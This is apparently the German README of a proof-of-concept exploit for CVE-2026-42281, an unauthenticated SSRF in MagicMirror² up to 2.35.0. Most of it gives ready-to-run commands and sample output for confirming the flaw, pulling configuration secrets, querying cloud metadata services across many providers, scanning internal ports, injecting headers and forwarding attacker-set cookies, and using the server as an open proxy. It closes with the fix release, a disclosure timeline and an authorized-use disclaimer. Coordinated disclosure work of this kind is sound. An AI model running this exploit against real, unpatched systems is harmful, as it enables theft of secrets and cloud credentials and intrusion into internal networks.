
Proof-of-Concept-Exploit für CVE-2026-42281, eine nicht authentifizierte SSRF in MagicMirror² ≤ 2.35.0, die Konfigurationsexfiltration, Abfragen von Cloud-Metadaten und Scannen interner Netzwerke ermöglicht.
/cors-Endpunkt
Entdeckt und gemeldet von: Astaruf
Vollständiger Artikel: https://nstsec.com/en/posts/magicmirror-ssrf-cve-2026-42281/
Upstream-Advisory: MagicMirrorOrg/MagicMirror security advisories
NVD-Eintrag: https://nvd.nist.gov/vuln/detail/CVE-2026-42281
Dieses Repository enthält den Proof-of-Concept-Exploit für CVE-2026-42281, ein nicht authentifiziertes SSRF in MagicMirror² ≤ 2.35.0, das den /cors-Endpunkt in einen voll funktionsfähigen SSRF-Proxy verwandelt, der Loopback, interne Netzwerke und Cloud-Metadaten-Dienste erreicht. Mit hideConfigSecrets: true exfiltriert derselbe Endpunkt außerdem process.env.SECRET_*-Werte in einer einzigen Anfrage.
Für die vollständige Code-Review, Schwachstellenanalyse, Fix-Aufschlüsselung, CVSS-Disput und Zeitplan siehe den vollständigen Artikel auf nstsec.com. Dieses README konzentriert sich auf die Verwendung des PoC.
# 1. Prüfen, ob das Ziel verwundbar ist
python3 poc.py -t http://target:8080 --check
# 2. Anwendungskonfiguration exfiltrieren (mit automatischer Secret-Erkennung)
python3 poc.py -t http://target:8080 --config
# 3. Cloud-Metadaten-Dienste bei 10+ Anbietern testen
python3 poc.py -t http://target:8080 --cloud
# 4. Interner Netzwerk-Portscan über SSRF
python3 poc.py -t http://target:8080 --port-scan 10.0.0.1,10.0.0.2 -p 22,80,443,3306,6379
# 5. Missbrauch von eingehenden/ausgehenden Headern demonstrieren
python3 poc.py -t http://target:8080 --headers
# 6. Den Server als generischen offenen Proxy verwenden
python3 poc.py -t http://target:8080 --open-proxy https://internal.corp/api
| Flag | Beschreibung |
|---|---|
--check | SSRF-Ausnutzbarkeit über Loopback-Abruf von /version verifizieren |
--config | /config über Loopback per SSRF abrufen, JSON parsen, nach API-Keys / Tokens / Passwörtern in Modulkonfigurationen suchen |
--cloud | Metadaten-Dienste bei AWS, GCP, Azure, OCI, DigitalOcean, Alibaba, Hetzner, IBM, Kubernetes, Rancher, Equinix testen; AWS-IAM-Rollen-Enumeration automatisch verfolgen |
--port-scan HOSTS | Einen oder mehrere Hosts scannen (-p 22,80 / -p 0-1024 / -p - für alle 65535 Ports), multithreaded |
--headers | Teil A: Authorization/X-*-Header über sendheaders in die ausgehende Anfrage injizieren. Teil B: Angreifer-kontrollierte Set-Cookie-Header von einer bösartigen Origin über expectedheaders an den Opfer-Browser weiterleiten |
--open-proxy URL | Generisches SSRF-GET auf beliebige URL, gibt den Antworttext aus (nützlich zum Erkunden interner HTTP-APIs) |
| Option | Standard | Beschreibung |
|---|---|---|
-t / --target | erforderlich | Ziel-URL, z. B. http://192.168.1.10:8080 |
--timeout | 2.0 | Timeout pro Anfrage in Sekunden |
--threads | 30 | Threads für --port-scan |
--verbose | aus | Vollständige JSON-Antworten ausgeben (und ungeschwärzte Cloud-Metadaten-Bodies) |
1. PoC-Banner und --check-Modus, der SSRF bestätigt:
$ python3 poc.py -t http://127.0.0.1:8080 --check
██████╗██╗ ██╗███████╗ ██╗ ██╗ ██████╗ ██████╗ █████╗ ██╗
██╔════╝██║ ██║██╔════╝ ██║ ██║ ╚════██╗ ╚════██╗ ██╔══██╗ ███║
██║ ██║ ██║█████╗ -2026- ███████║ █████╔╝ █████╔╝ ╚█████╔╝ ╚██║
██║ ╚██╗ ██╔╝██╔══╝ ╚════██║ ██╔═══╝ ██╔═══╝ ██╔══██╗ ██║
╚██████╗ ╚████╔╝ ███████╗ ██║ ███████╗ ███████╗ ╚█████╔╝ ██║
╚═════╝ ╚═══╝ ╚══════╝ ╚═╝ ╚══════╝ ╚══════╝ ╚════╝ ╚═╝
MagicMirror² <= v2.35.0 — Nicht authentifiziertes SSRF über /cors-Endpunkt
Autor: Astaruf | https://nstsec.com
CHECK, Ziel-Erreichbarkeit und SSRF-Bestätigung
[*] Ziel-Erreichbarkeit wird überprüft ...
[+] Ziel erreichbar, MagicMirror 2.35.0
[*] SSRF über Loopback wird bestätigt ...
>> GET http://127.0.0.1:8080/cors?url=http://127.0.0.1:8080/version
[+] SSRF BESTÄTIGT, Server hat interne Ressource in unserem Auftrag abgerufen
<< 2.35.0
2. --config exfiltriert die Anwendungskonfiguration und erkennt automatisch Secrets in Modulkonfigurationen:
KONFIGURATIONS-EXFILTRATION, Vollständige Konfiguration über SSRF-Loopback
[+] Konfiguration abgerufen, 1194 Bytes
[*] address : 0.0.0.0
[*] port : 8080
[*] ipWhitelist: [] für alle IPs offen
GEFUNDENE SECRETS:
[weather] apiKey = ow_demo_api_key_d34db33fc4f3b4b3
[calendar] calendars[0].auth.pass = S3cretCalendarPa$$word!
[newsfeed] accessToken = sk-newsfeed-bearer-T0kEn-xyz789
3. --headers bestätigt ausgehende Injektion und eingehende Weiterleitung:
HEADER-INJEKTION, Missbrauch ausgehender und eingehender Header
[*] Teil A: Beliebige Header über sendheaders in ausgehende Anfragen injizieren
[+] Header X-Injected-By: SSRF-PoC in ausgehender Anfrage bestätigt
[+] Header Authorization: Bearer DEMO_TOKEN in ausgehender Anfrage bestätigt
[*] Teil B: Antwort-Header über expectedheaders an den Browser weiterleiten
[+] Antwort-Header Set-Cookie an Browser weitergeleitet: session=hijacked;HttpOnly
[+] Browser erhält dieses Cookie, als stamme es von der MagicMirror-Domain
4. --open-proxy bestätigt ausgehendes HTTP vom Server:
OFFENER PROXY, Abruf von https://httpbin.org/ip über den verwundbaren Server
[+] HTTP 200, 32 Bytes vom Server empfangen
{
"origin": "<öffentliche IP des Servers, nicht die des Angreifers>"
}
--check-Modus (und jeder andere Modus) sendet ein SSRF-Loopback an http://127.0.0.1:<port>/version. Beim Testen über Docker muss der Host-Port mit dem In-Container-Port übereinstimmen (z. B. 8080:8080 mappen, nicht 8081:8080), sonst ist das Loopback-Ziel von innerhalb des Containers nicht auflösbar, selbst wenn die Instanz tatsächlich verwundbar ist.--cloud gegen eine Nicht-Cloud-Instanz (Raspberry Pi, Bare Metal) liefert keine Treffer — das ist erwartet und das Skript meldet es explizit. Der Vektor existiert; zum Testen ist eine echte Cloud-Bereitstellung erforderlich.Ausgeliefert in MagicMirror² v2.36.0 (veröffentlicht am 30. April 2026). Der Fix ist über sechs PRs (#4084, #4087, #4090, #4091, #4102, #4104) verteilt. Siehe den vollständigen Artikel für die Aufschlüsselung pro PR, Code-Ausschnitte und die Verifikationsmatrix der Bypass-Versuche, die gegen die gepatchte Version erneut getestet wurden.
| Datum | Ereignis |
|---|---|
| 2026-03-30 | Schwachstelle entdeckt, öffentliches Issue eröffnet, E-Mail an den Maintainer gesendet |
| 2026-03-31 | Maintainer hat den Bericht bestätigt |
| 2026-04-01 | Maintainer haben SECURITY.md hinzugefügt und GitHub Security Advisories im Repository aktiviert |
| 2026-04-09 | Formelles GHSA-Advisory eröffnet |
| 2026-04-26 | Fix für die nächste Version bestätigt. CVE-2026-42281 von GitHub zugewiesen |
| 2026-04-26 | CVSS-Disput — Vektor von Moderate auf 9.2 Critical angehoben (AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:H/SI:N/SA:N) |
| 2026-04-30 | MagicMirror² v2.36.0 veröffentlicht, Fix öffentlich ausgeliefert |
| 2026-05-04 | Öffentliche Offenlegung (Artikel + PoC-Repository) |
Dieses Material wird ausschließlich für autorisierte Sicherheitstests und Bildungszwecke bereitgestellt. Verwenden Sie es nur gegen MagicMirror²-Instanzen, die Sie besitzen oder für die Sie eine ausdrückliche schriftliche Testgenehmigung haben. Unbefugter Zugriff auf Computersysteme ist illegal. Der Autor übernimmt keine Haftung für Missbrauch.